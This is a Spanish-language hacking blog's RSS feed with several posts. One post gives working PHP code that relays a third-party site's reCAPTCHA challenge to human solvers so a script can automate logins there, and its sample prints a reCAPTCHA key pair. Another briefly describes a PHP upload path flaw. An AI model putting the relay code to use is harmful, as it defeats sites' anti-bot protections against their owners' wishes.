<?xml version="1.0" encoding="UTF-8" standalone="no"?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><rss xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" version="2.0"><channel><title>Yoyahack</title><description>El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe</description><managingEditor>noreply@blogger.com (yoyahack)</managingEditor><pubDate>Fri, 20 Feb 2026 12:07:55 -0800</pubDate><generator>Blogger http://www.blogger.com</generator><openSearch:totalResults xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">32</openSearch:totalResults><openSearch:startIndex xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">1</openSearch:startIndex><openSearch:itemsPerPage xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/">25</openSearch:itemsPerPage><link>http://yoyahack.blogspot.com/</link><language>en-us</language><itunes:explicit>no</itunes:explicit><itunes:subtitle>El inteligente no es aquel que lo sabe todo sino aquel que sabe utilizar lo poco que sabe</itunes:subtitle><itunes:category text="Technology"><itunes:category text="Gadgets"/></itunes:category><itunes:owner><itunes:email>noreply@blogger.com</itunes:email></itunes:owner><item><title>De regreso</title><link>http://yoyahack.blogspot.com/2012/04/de-regreso.html</link><category>Noticias</category><category>Offtopic</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sat, 14 Apr 2012 12:18:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-8502010375439959299</guid><description>Buenas, he dejado el blog últimamente muy abandonado. Tenia una idea de crear un blog donde escribamos varias personas artículos, así siempre mantendríamos el blog actualizado pero bueno no se pudo lograr.&lt;br /&gt;
&lt;br /&gt;
Bueno entonce volveré a mi blog, tratare de dedicarle mucho mas tiempo y de escribir buenos artículos.&lt;br /&gt;
&lt;br /&gt;
Saludos.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total></item><item><title>Diseño nuevo y blog nuevo</title><link>http://yoyahack.blogspot.com/2011/10/diseno-nuevo-y-blog-nuevo.html</link><category>Noticias</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sat, 8 Oct 2011 16:04:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-7737132858207712016</guid><description>Buenas, he diseñado un nuevo diseño para el Blog. Es un Diseño &lt;b&gt;limpio&lt;/b&gt; y &lt;b&gt;formal&lt;/b&gt;, mi objetivo es que el blog sea mucho mas amplio y mas legible.&lt;br /&gt;
&lt;br /&gt;
Le deje todo el espacio a los artículos, la columna la pase al footer, así tendré mucho mas espacio.&lt;br /&gt;
&lt;br /&gt;
Aquí una captura.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVA0xw4rKAptxuyq-sTvL7Zpn1mXTiylAx_v-Q1P6Xz0luZKz7JCCi0t9zhjygCskbMaIy3SK3hRne-D_EgQ_pRsPM-QxdG1mPAnae36wFzBkrrHrJNCbTMFlr5lPMEIoeETgby8ScttW-/s1600/bloga.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="131" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVA0xw4rKAptxuyq-sTvL7Zpn1mXTiylAx_v-Q1P6Xz0luZKz7JCCi0t9zhjygCskbMaIy3SK3hRne-D_EgQ_pRsPM-QxdG1mPAnae36wFzBkrrHrJNCbTMFlr5lPMEIoeETgby8ScttW-/s320/bloga.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Estaba pensando en hacer el diseño para blogger desde un principio pero no me gusto para nada la forma de diseñar diseños para blogger.&lt;br /&gt;
&lt;br /&gt;
El diseño sera un diseño para un blog de &lt;b&gt;Wordpress&lt;/b&gt;, así que habrá un dominio nuevo. A la larga sera un poco mejor, ya que podre dejar ejemplos online para que puedan probar, agregar plugin. Osea, tendre mucho mas control de todo, cosa que no pasaba en blogger.&lt;br /&gt;
&lt;br /&gt;
De momento no he terminado 100% el diseño, aunque ya gran parte del diseño esta adaptado a Wordpress. Seguiré trabajando en el.&lt;br /&gt;
&lt;br /&gt;
Saludos.</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVA0xw4rKAptxuyq-sTvL7Zpn1mXTiylAx_v-Q1P6Xz0luZKz7JCCi0t9zhjygCskbMaIy3SK3hRne-D_EgQ_pRsPM-QxdG1mPAnae36wFzBkrrHrJNCbTMFlr5lPMEIoeETgby8ScttW-/s72-c/bloga.png" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><title>Bypass Recaptcha y cualquier otra</title><link>http://yoyahack.blogspot.com/2011/09/bypass-recaptcha-y-cualquier-otra.html</link><category>Captcha</category><category>Nivel web</category><category>php</category><category>programacion</category><category>Tips</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Wed, 7 Sep 2011 07:18:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-4558830728900767172</guid><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibQwAfFReR7cbsOpcE8InclxYoVf4qHF4EGchQdHTapsvvEXbcmWdM8xCmwQCFhTPS0ppR7VRDTBQRcu8fPdmTaMy-USMxLMYd7hABkLrZrenzT7wzCxlmdL0ekjOAdS_wKA5rkpyovon3/s1600/logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="164" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibQwAfFReR7cbsOpcE8InclxYoVf4qHF4EGchQdHTapsvvEXbcmWdM8xCmwQCFhTPS0ppR7VRDTBQRcu8fPdmTaMy-USMxLMYd7hABkLrZrenzT7wzCxlmdL0ekjOAdS_wKA5rkpyovon3/s320/logo.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Muchas veces necesitamos hacerle un bypass a alguna &lt;a href="http://es.wikipedia.org/wiki/Captcha"&gt;captcha&lt;/a&gt;, como puede ser&amp;nbsp;&lt;a href="http://es.wikipedia.org/wiki/Recaptcha"&gt;Re-captcha&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;
Lo primero que se nos ocurre es usar algun &lt;a href="http://es.wikipedia.org/wiki/Reconocimiento_%C3%B3ptico_de_caracteres"&gt;OCR&lt;/a&gt; (Reconocimiento&amp;nbsp;óptico&amp;nbsp;de caracteres) para detectar las letras de la&amp;nbsp;imágenes. El problema esta que no puede funcionar correctamente y en muchos casos no logra procesar la imagen.&amp;nbsp;Quizás&amp;nbsp;por eso no sea algo muy&amp;nbsp;típico, ni muy utilizado con esto fines.&lt;br /&gt;
&lt;br /&gt;
Podemos desarrollar nuestro propio &lt;a href="http://es.wikipedia.org/wiki/OCR"&gt;OCR&lt;/a&gt;, pero a la larga seria un proceso muy complejo y&amp;nbsp;necesitaríamos&amp;nbsp;invertirle&amp;nbsp;mucho&amp;nbsp;tiempo. Muchos simplemente descartan el proyecto.&lt;br /&gt;
&lt;br /&gt;
Otros lo que&amp;nbsp;harían&amp;nbsp;seria buscar alguna&amp;nbsp;vulnerabilidad&amp;nbsp;en la captcha, que de alguna forma les permita saber que imagen &lt;u&gt;es&lt;/u&gt; y que letras tienen. Algunos&amp;nbsp;buscarían&amp;nbsp;una &lt;a href="http://es.wikipedia.org/wiki/Vulnerabilidad"&gt;vulnerabilidad&lt;/a&gt; en la&amp;nbsp;validación&amp;nbsp;de la captcha que seria un proceso igualmente largo ya que tienen que entender el funcionamiento de la captcha y comenzar a probar...&lt;br /&gt;
&lt;br /&gt;
Yo estaba realizando una &lt;a href="http://es.wikipedia.org/wiki/Aplicaci%C3%B3n_web"&gt;App web&lt;/a&gt; y&amp;nbsp;debía&amp;nbsp;realizar acciones y tomar algunos datos de un sitio web, pero este utilizaba &lt;a href="http://es.wikipedia.org/wiki/Recaptcha"&gt;Re-captcha&lt;/a&gt; para poder&amp;nbsp;identificarse/loguearse. Se me ocurrieron todas las opciones que menciones y otras pero no relacionada directamente con la &lt;a href="http://es.wikipedia.org/wiki/Captcha"&gt;captcha&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Aquí&amp;nbsp;tengo una&amp;nbsp;&lt;b&gt;solución&amp;nbsp;universal para cualquier &lt;a href="http://es.wikipedia.org/wiki/Captcha"&gt;Captcha&lt;/a&gt;.&lt;/b&gt;&amp;nbsp;La&amp;nbsp;solución&amp;nbsp;mas&amp;nbsp;rápida&amp;nbsp;y segura, es utilizar la misma &lt;a href="http://es.wikipedia.org/wiki/Captcha"&gt;captcha&lt;/a&gt; que el sitio web.&lt;br /&gt;
&lt;br /&gt;
Osea, la imagen genera la captcha la capturo y la muestro en mi sitio web para que los usuarios que vayan a utilizar la App web, inserten el&amp;nbsp;código&amp;nbsp;de la &lt;a href="http://es.wikipedia.org/wiki/Captcha"&gt;captcha&lt;/a&gt; y mi App web&amp;nbsp;realice&amp;nbsp;todo.&lt;br /&gt;
&lt;br /&gt;
Al final tengo una App web, que realiza lo que&amp;nbsp;quería&amp;nbsp;hacer y utiliza captcha. No tengo que implementar alguna captcha en mi servicio ya que con la captcha del sitio web me basta.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Bypass de &amp;nbsp;Re-Captcha&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
El source de ejemplo&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkEDV7z_XcmtJa-Jpmfy6hNjLgJeXRAcwUYS0vey5zNMSUBvji2XOGPWOZGOe6o2ocBiK4QjA0Mq_1dZSFwfAUaahQJCGurkJl9sB0hVQg-X8w-tyUKpCob54HjKxsgsxH_wb4jNp8ybKL/s1600/1c.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkEDV7z_XcmtJa-Jpmfy6hNjLgJeXRAcwUYS0vey5zNMSUBvji2XOGPWOZGOe6o2ocBiK4QjA0Mq_1dZSFwfAUaahQJCGurkJl9sB0hVQg-X8w-tyUKpCob54HjKxsgsxH_wb4jNp8ybKL/s320/1c.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class="brush: php"&gt;&amp;lt;?php
require_once('recaptchalib.php');


$publickey = "6Lc55McSAAAAAChEOICK8IX0V6zRh3CD64ix6jbx";
$privatekey = "6Lc55McSAAAAAB4ny39PlgX8gjMvm2x7SsrXEb6y";

if(!empty($_POST['nombre'])) {

	$is_valid = recaptcha_check_answer($privatekey, $_SERVER["REMOTE_ADDR"], $_POST["recaptcha_challenge_field"], $_POST["recaptcha_response_field"]);


	if($is_valid-&amp;gt;is_valid) {
		echo '&amp;lt;p&amp;gt;&amp;lt;h1&amp;gt;Captcha Valida&amp;lt;/h1&amp;gt;&amp;lt;/p&amp;gt;';
		exit;
	}else{
		echo '&amp;lt;p&amp;gt;&amp;lt;h1&amp;gt;Captcha invalida&amp;lt;/h1&amp;gt;&amp;lt;/p&amp;gt;';
	}
}



?&amp;gt;

&amp;lt;form method="POST" name="form" action="coment.php"&amp;gt;
	&amp;lt;p&amp;gt;Mensaje: &amp;lt;br&amp;gt;&amp;lt;input type="text" name="nombre"&amp;gt;&amp;lt;/p&amp;gt;
   &amp;lt;?php echo recaptcha_get_html($publickey); ?&amp;gt;&amp;lt;br&amp;gt;
	&amp;lt;input type="submit" value="enviar"&amp;gt;
&amp;lt;/form&amp;gt;&lt;/pre&gt;
&lt;br /&gt;
Realizare el&amp;nbsp;código&amp;nbsp;para hacerle el bypass.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF2MV312ITT39O-O3pYCqZah1hhlY6Q2Y9pXxJr_wH7ruRBLlKaNaxnmzgzVXyVDg4ObhSexmAMFbbgsBfo9ff40zm6j7vMijbQCQUUs7UC6dlt9jzo-0YjMZ9DefaP1_SK7qyIAO3fBee/s1600/2c.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF2MV312ITT39O-O3pYCqZah1hhlY6Q2Y9pXxJr_wH7ruRBLlKaNaxnmzgzVXyVDg4ObhSexmAMFbbgsBfo9ff40zm6j7vMijbQCQUUs7UC6dlt9jzo-0YjMZ9DefaP1_SK7qyIAO3fBee/s320/2c.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="brush: php"&gt;&amp;lt;?php



//Si se envio el formulario, compruebo el el input

//donde se inserte la captcha, contenga algun valor

if(!empty($_POST['captcha_valude'])) {



$data =' nombre='.$_POST['mensaje'].'&amp;amp;recaptcha_challenge_field='.$_POST['cod'].'&amp;amp;recaptcha_response_field='.urlencode($_POST['captcha_valude']);

echo post('http://127.0.0.1/a.php', $data);

}

//Fin del poc para el bypass



//Obtengo la imagen de la captcha y luego la muestro....

$contenido = get('http://127.0.0.1/a.php');

preg_match('/ipt" src="(h[^"]+)/', $contenido, $result);

preg_match('/challenge :[sn]+'([^']+)/i', get($result[1]), $cont);

$img = 'http://www.google.com/recaptcha/api/image?c='.$cont[1];

echo '&amp;lt;IMG src="'.$img.'"&amp;gt;';

//Fin...



//Funcion para realizar peticiones GET

function get($url) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$result = curl_exec($ch);

curl_close($ch);

return $result;

}



//Funcion para realizar peticiones POST

function post($url, $contenido) {

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS, $contenido);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$result = curl_exec ($ch);

curl_close ($ch);



return $result;

}



?&amp;gt;



&amp;lt;!--Formulario--&amp;gt;

&amp;lt;form action="aa.php" method="POST"&amp;gt;

&amp;lt;p&amp;gt;Inserte el contenido de la captcha&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;input type="text" name="captcha_valude"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Inserte el mensaje &amp;lt;br&amp;gt;&amp;lt;input type="text" name="mensaje"&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;input type="hidden" name="cod" value="&amp;lt;?php echo $cont[1]; ?&amp;gt;"&amp;gt;&amp;lt;!--Codigo de la captcha--&amp;gt;

&amp;lt;input type="submit" value="Enviar"&amp;gt;

&amp;lt;/form&amp;gt;&lt;/pre&gt;
Al rellenar todos los datos correctamente, me da por valida todo.

&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiApdEfi7WIaGoIdskbbSxcxpMrljwQGp0e2Uv5iIOcx3e2mdAsUOf2gr8ZerkWZf3o7sFfi9oRIz7dRFxsVTXVXO1BhAHxEzn1dZRYVkBKBUfQNSNoZeZN4-0SyfymkXiAmYhXDFysIQs/s1600/3c.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiApdEfi7WIaGoIdskbbSxcxpMrljwQGp0e2Uv5iIOcx3e2mdAsUOf2gr8ZerkWZf3o7sFfi9oRIz7dRFxsVTXVXO1BhAHxEzn1dZRYVkBKBUfQNSNoZeZN4-0SyfymkXiAmYhXDFysIQs/s320/3c.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
Probar el &lt;a href="http://es.wikipedia.org/wiki/Prueba_de_concepto"&gt;PoC&lt;/a&gt;,&amp;nbsp;así&amp;nbsp;entienden mejor todo.&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
Saludos.&lt;/div&gt;
</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibQwAfFReR7cbsOpcE8InclxYoVf4qHF4EGchQdHTapsvvEXbcmWdM8xCmwQCFhTPS0ppR7VRDTBQRcu8fPdmTaMy-USMxLMYd7hABkLrZrenzT7wzCxlmdL0ekjOAdS_wKA5rkpyovon3/s72-c/logo.png" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">6</thr:total></item><item><title>File Path Injection - PHP &lt;= 5.3.6</title><link>http://yoyahack.blogspot.com/2011/08/file-path-injection-php-536.html</link><category>Nivel web</category><category>php</category><category>programacion</category><category>vurnerabilidad</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 21 Aug 2011 08:47:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-2259847158917794612</guid><description>&lt;a href="http://www.movilslimbox.com/V5rc1/images/stories/php_logo.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 411px; height: 216px;" src="http://www.movilslimbox.com/V5rc1/images/stories/php_logo.jpg" border="0" alt="" /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Buenas, al parecer hay una vulnerabilidad en el Core de PHP que permiten a los atacante modificar archivos de la raíz mediante la subida de archivo en PHP (PHP Upload).&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;La vulnerabilidad esta en que PHP permite que el nombre del archivo pueda comenzar con barra simple (&lt;b&gt;/&lt;/b&gt;) o una barra invertida (\). Por lo tanto esto permite ingresar a la Raiz del sistema y modificar archivos.&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Hay que tener en cuenta que es necesario tener los permiso necesarios para poder editar archivos de la raíz...&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El bug fue solucionado en la versión &lt;b&gt;5.3.7&lt;/b&gt; de &lt;b&gt;PHP.&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;
&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;Saludos.&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><title>Utilizar fuentes de Google font en Blogger</title><link>http://yoyahack.blogspot.com/2011/06/utilizar-fuentes-de-google-font-en.html</link><category>Nivel web</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 5 Jun 2011 12:29:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-3189286574232469842</guid><description>&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8q_i1xMQrlUb7gQRSebLPO6NjAePgF5n4fy6xi55_Xch9fF9PBqz034uGVs3x-2EcTKRhDP9bhFMA6K0YavFiG_8C-VIVIXFyNuVULVtpgpVzJL81lvS2CAAWWz7xBIlfo6rqP1oEOA1I/s1600/body.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 47px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8q_i1xMQrlUb7gQRSebLPO6NjAePgF5n4fy6xi55_Xch9fF9PBqz034uGVs3x-2EcTKRhDP9bhFMA6K0YavFiG_8C-VIVIXFyNuVULVtpgpVzJL81lvS2CAAWWz7xBIlfo6rqP1oEOA1I/s400/body.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5614824859119904130" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8iPu8Yu6dcMDTsTPLS199ehWF8mutVg_kWM-sJZQGNswK7Eo9hjAfqhbnyra14OeMJMClRsMgy6ipCz8NgrWRsBtTweKy4pNljHW7MXbkD7BcmrbsAFmC4s6f4sAR69uJS9_FX7DC18aU/s1600/google_font.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 105px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8iPu8Yu6dcMDTsTPLS199ehWF8mutVg_kWM-sJZQGNswK7Eo9hjAfqhbnyra14OeMJMClRsMgy6ipCz8NgrWRsBtTweKy4pNljHW7MXbkD7BcmrbsAFmC4s6f4sAR69uJS9_FX7DC18aU/s400/google_font.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5614820612721014818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;Buenas, muchas veces queremos implementar las fuentes de&lt;a href="http://www.google.com/webfonts"&gt; Google Font&lt;/a&gt; en nuestro Blog de blogger.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Primero que nada entramos en la la Pagina &lt;a href="http://www.google.com/webfonts"&gt;Google Font&lt;/a&gt;, luego seleccionamos una fuente y nos movemos hacia la pestaña Use this font.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY1sHwxQG-PNrVggMzDUhLHp8jWrsB96hTsSfQqyTuqiuNXFdtG5SqVRZuw_FMmfEbE0z_CcrLag7OZFirMK22UgCLjTrXPw-L_bGRyKnOqR55NVVanSb-_WFZ3sv3sT2MjkKx7ZW9E_Bc/s1600/font.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY1sHwxQG-PNrVggMzDUhLHp8jWrsB96hTsSfQqyTuqiuNXFdtG5SqVRZuw_FMmfEbE0z_CcrLag7OZFirMK22UgCLjTrXPw-L_bGRyKnOqR55NVVanSb-_WFZ3sv3sT2MjkKx7ZW9E_Bc/s400/font.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5614821709748179570" style="cursor: pointer; width: 400px; height: 154px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Un poco mas abajo, nos da la direccion donde se encuentra el archivo css, lo tenemos que copiar y pegarlo despues de las etiquetas &amp;lt;head&amp;gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMkC_qZQ_JCNzkUhejRZAhX-g6VxGKwulaXvAdpG6Dn0n8wpoufJSzyqpwTCO8gu7VztnnUxNk0wx33a0smUgcJDFD8zmPfo2VzPsqCaPI9mqtP8QFOvORIaevWzuoFlelKdasO9OivDNl/s1600/head_f.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMkC_qZQ_JCNzkUhejRZAhX-g6VxGKwulaXvAdpG6Dn0n8wpoufJSzyqpwTCO8gu7VztnnUxNk0wx33a0smUgcJDFD8zmPfo2VzPsqCaPI9mqtP8QFOvORIaevWzuoFlelKdasO9OivDNl/s400/head_f.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5614822941225425650" style="cursor: pointer; width: 400px; height: 38px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Luego mas abajo nos da un ejemplo de como implementar la fuente, en este caso en el tang &amp;lt;h1&amp;gt;.&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiLLZstQdUse2GdlNoBJ76o_hlRu1J9FTkYpNRdTG_l0WiIL8UPELgck9s44_tp3_Ibi5EUqipFzbgIjCuHVuREKKJqmq1bKNWNerOAXeFUmgvChpv9YhL1fmYajEx_FMVvPNfcO0mp4pr/s1600/h1.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiLLZstQdUse2GdlNoBJ76o_hlRu1J9FTkYpNRdTG_l0WiIL8UPELgck9s44_tp3_Ibi5EUqipFzbgIjCuHVuREKKJqmq1bKNWNerOAXeFUmgvChpv9YhL1fmYajEx_FMVvPNfcO0mp4pr/s400/h1.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5614823840386832834" style="cursor: pointer; width: 400px; height: 31px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Pueden colocarlo en el selector &lt;span class="Apple-style-span" style="font-family: 'dejavu sans mono', monospace; font-size: 11px; -webkit-text-size-adjust: none; "&gt;.posttitle, .entry, etc...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Saludos.&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" &gt;&lt;span class="Apple-style-span" style="font-size: 11px; -webkit-text-size-adjust: none;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8q_i1xMQrlUb7gQRSebLPO6NjAePgF5n4fy6xi55_Xch9fF9PBqz034uGVs3x-2EcTKRhDP9bhFMA6K0YavFiG_8C-VIVIXFyNuVULVtpgpVzJL81lvS2CAAWWz7xBIlfo6rqP1oEOA1I/s72-c/body.png" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Creando aplicación que se conecte a una web y inicie session</title><link>http://yoyahack.blogspot.com/2011/03/creando-aplicacion.html</link><category>Herramientas</category><category>Nivel web</category><category>perl</category><category>php</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Mon, 14 Mar 2011 12:55:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-3450315169690105586</guid><description>Buenas, aveces necesitamos crear nuestra aplicaciones que se conecten a una web o varias Webs, para recolectar información o enviar información, quizás para recolectar y enviar información. Algunas paginas nos facilitan este trabajo creando una Api para su sitio web, un ejemplo puede ser Pastebin, Flickr, Imageshack, Twitter, etc...&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 19px; font-family: sans-serif; "&gt;&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Aveces no es el caso y debemos realizar todo manualmente. &lt;/div&gt;&lt;div&gt;Bueno primero que nada debemos examinar la web. Debemos tener en cuenta:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Los parámetros necesarios a mandar a la web.&lt;/li&gt;&lt;li&gt;El código de repuesta de la pagina, para poder tomar decisiones.&lt;/li&gt;&lt;li&gt;Los datos que nos envían la pagina, como Cookies.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Algo muy importante que debemos tener en cuenta, es organizar nuestras ideas antes de comenzar. Cual es el objetivo de nuestra aplicación, los pasos necesarios para poder realizar lo, etc...&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Index.php:&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC5PQOguOKgzXqtBmmQwLnWsaD83ej39XOrAJjgRps3YgbsGZGBG1yYch80T7o1Qsz8O0atgh3_i3KiLGiFJYe4CJX5KkbUa81r30qU4vFi8xR_K5f-UyF029dqMw59H74iG42fFrhVkjp/s1600/index.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC5PQOguOKgzXqtBmmQwLnWsaD83ej39XOrAJjgRps3YgbsGZGBG1yYch80T7o1Qsz8O0atgh3_i3KiLGiFJYe4CJX5KkbUa81r30qU4vFi8xR_K5f-UyF029dqMw59H74iG42fFrhVkjp/s400/index.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584052474207341746" style="cursor: pointer; width: 176px; height: 44px; " 